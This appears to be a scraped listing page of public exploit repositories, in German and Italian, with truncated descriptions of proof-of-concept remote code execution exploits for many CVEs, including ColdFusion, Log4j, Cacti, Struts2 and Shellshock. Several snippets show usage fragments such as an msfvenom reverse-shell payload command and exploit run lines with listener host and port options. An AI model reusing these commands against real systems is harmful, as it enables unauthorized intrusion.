CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution auf ColdFusion 2021 Manchmal funktionieren die Skripte nicht beim ersten Versuch. Versuchen Sie es ein paar Mal, damit es funktioniert Ausführung Erstellen eines Payloads mit msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Python-Skript zum Ausnutzen von PlaySMS vor 1.4.3 Ausführung Öffnen Sie einen Port auf Ihrem Rechner: Und führen Sie exploit.py aus: root@kitploit: ./exploit.py Ändern des Exploits Möglicherweise möchten Sie die von exploit.py erstellte Reverse Shell ändern Dazu können S...

CVE-2020-23934

CVE-2020-23934 Referenzen 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...

clone_and_pwn

Intestazioni Titolo Exploit: Clone and Pwn Data: 4 giugno 2018 Autore Exploit: Alejandro Caceres Homepage del Venditore: https://git-scm.com/ Link Software: https://git-scm.com/downloads Versione: codice arbitrario viene eseguito sulle versioni del client git precedenti a 2.13.7, 2.14.x precedent...

CVE-2024-3116_RCE_in_pgadmin_8.4

CVE-2024-3116RCEinpgadmin8.4 Aufbau eines Labs und Testen der CVE-2024-3116, eine Remote Code Execution in pgadmin 8.4 pip .whl-Datei herunterladen...

CVE-2022-46169

CVE-2022-46169 Exploit Exploit per la vulnerabilità CVE-2022-46169 su Cacti 1.2.19 Opzioni root@kitploit: -u --url victim's url -f --forwarded X-Forwarded value to bypass the auth -m --mode: check for Checking for Vulnerable Servers, or exploit for Fun exploitation mode :D Utilizzo root@kitploit:...

cgi-bin-shellshock

Verwendung Repository klonen oder einfach das gewünschte kopieren und einfügen root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh Skript ausführen Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp Hinweis: Standard-LPORT ist...

CVE-2022-35737

CVE-2022-35737 Integer-Überlauf in der SQLite3-Funktion sqlite3strvappendf. CVSS 6.7 AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H CVE-2022-35737 wurde in SQLite Version 1.0.12 eingeführt und in Release 3.39.2 behoben, verfügbar am 21. Juli 2022. Es ist auf 64-Bit-Systemen ausnutzbar, und die Ausnutzbarkei...

CVE-2025-46816

CVE-2025-46816 POC per lo sfruttamento dell'esecuzione di codice in goshs su versioni 1.0.5...

CVE-2022-22965

CVE-2022-22965 noto anche come "Spring4Shell" Vulnerabilità RCE in Spring Framework via Data Binding su JDK 9+ L'obiettivo è centralizzare la maggiore quantità di informazioni di pubblico dominio sulla vulnerabilità fino ad oggi e sapere quali azioni intraprendere in tal caso. La mia applicazione...

CVE-2021-21972

CVE-2021-21972 Script Nmap per verificare la vulnerabilità CVE-2021-21972 - RCE su vCenter Server Riferimenti sulla vulnerabilità: https://app.howlermonkey.io/vulnerabilities/CVE-2021-21972 https://www.vmware.com/security/advisories/VMSA-2021-0002.html Esempio nmap -p443 --script cve-2021-21972.n...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC Passaggi 1. Compilare Log4jRCE.java e spostare il file .class su un server web es. PHP locale 1. cd src/main/java 2. javac Log4jRCE.java 3. Spostare il file .class su un server web oppure avviare localmente un PHP, ad esempio: php -S 127.0.0.1:8888 2. Avviare i...

CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC

CVE-2025-24893 - PoC di RCE non autenticata in XWiki ⚠️ Remote Code Execution non autenticata in XWiki 🛠️ Implementazione del PoC di @dollarboysushil 💡 Panoramica CVE-2025-24893 è una vulnerabilità RCE critica in XWiki, causata dalla gestione non sicura delle espressioni Groovy all'interno del...

CVE-2020-25042-PoC

CVE-2020-25042-PoC Prova di concetto per CVE-2020-25042, un problema di caricamento arbitrario di file in contesto autenticato in Mara CMS 7.5 che può portare all'esecuzione remota di codice. Lo script accede con un account admin/manager valido di Mara CMS, carica un payload PHP tramite...

cve-2024-46483

CVE-2024-46483 - Overflow dell'heap in pre-autenticazione nel server SFTP Xlight Versioni interessate Xlight versioni a 32 e 64 bit = 3.9.4.2 Impatto Un attaccante non autenticato con accesso a Xlight SFTP potrebbe ottenere l'esecuzione di codice o causare un denial of service. Causa principale L...

struts2-jakarta-inject

POC Exploit per CVE-2017-5638 Utilizza questo exploit solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test Installazione Se hai già go installato sul tuo computer, go get è la strada giusta go get github.com/Greynad/struts2-jakarta-inject Utilizzo Esecuzione di un...

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 RCE exp Betroffene Versionen VMware View Planner Harness 4.X Ähnlich wie CVE-2021-21978 kann diese Schwachstelle ohne Authentifizierung beliebige Dateien hochladen und durch Änderung des mitgelieferten Python-Skripts eine Remote-Code-Ausführung ermöglichen. Es ist zu...

CVE-2017-11882

CVE-2017-11882 Script originale da https://github.com/embedi/CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Research:...

CVE-2020-23839

CVE-2020-23839 | GetSimple CMS v3.3.16 - XSS riflesso a RCE Autore dell'exploit: Bobby Cooke boku Statistiche della vulnerabilità OWASP Top Ten 2017: A7:2017-Cross-Site Scripting XSS CWE-79: Neutralizzazione impropria dell'input durante la generazione della pagina web 'Cross-site Scripting' - Tip...

spring-cloud-gateway-rce

Spring Cloud Gateway Actuator API Esecuzione di comandi tramite iniezione di espressione SpEL CVE-2022-22947 1.Installazione root@kitploit: pip3 install -r requirements.txt 2.Utilizzo root@kitploit: $ python3 spring-cloud-gateway-rce.py -h / \ /\ /\ /\ | \ / \ | \ | \ | \ | \ / \ | || | | | / / \...